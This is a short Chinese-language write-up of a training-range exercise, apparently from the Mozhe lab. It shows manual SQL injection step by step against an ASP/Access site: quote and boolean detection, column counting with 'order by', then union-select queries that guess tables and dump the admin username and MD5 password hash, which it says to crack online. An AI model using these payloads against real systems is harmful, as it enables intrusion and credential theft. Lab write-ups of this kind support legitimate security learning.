Background
安全工程师”墨者”最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Access,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
存在漏洞的链接
1 | http://mozhe.cn/new_list.asp?id=1 |
注入点检测
基于报错的检测
1 | http://mozhe.cn/new_list.asp?id=1' |
页面返回不正常,可能存在SQL注入
基于布尔的检测
1 | http://mozhe.cn/new_list.asp?id=1 and 1=1 |
通过页面结果,该链接确实存在SQL注入漏洞
判断selet字段数
1 | http://mozhe.cn/new_list.asp?id=1 order by 4 //显示正常 |
判断出select中有4个字段数
猜解数据库的表名
1 | http:/mozhe.cn/new_list.asp?id=1 union select 1,2,3,4 from table1 |
可以通过手动或自动化工具更换‘table1’,猜解存在的表名
发现admin表
并且发现显示的字段位置在2,3
猜解数据库列名
1 | http://mozhe.cn/new_list.asp?id=1 union select 1,2,3,4 from admin |
将任意一个数字更换成列名,如果列名存在,则正常显示
有时候,可以直接得到表中的数据
发现username、id、passwd等列字段
爆出账号密码
1 | http://mozhe.cn/new_list.asp?id=1 union select 1,username,passwd,4 from admin |
账号:moke
密码:7e6ec4fadf84938f
密码是md5加密,通过在线破解后,就可以登陆后台拿到key值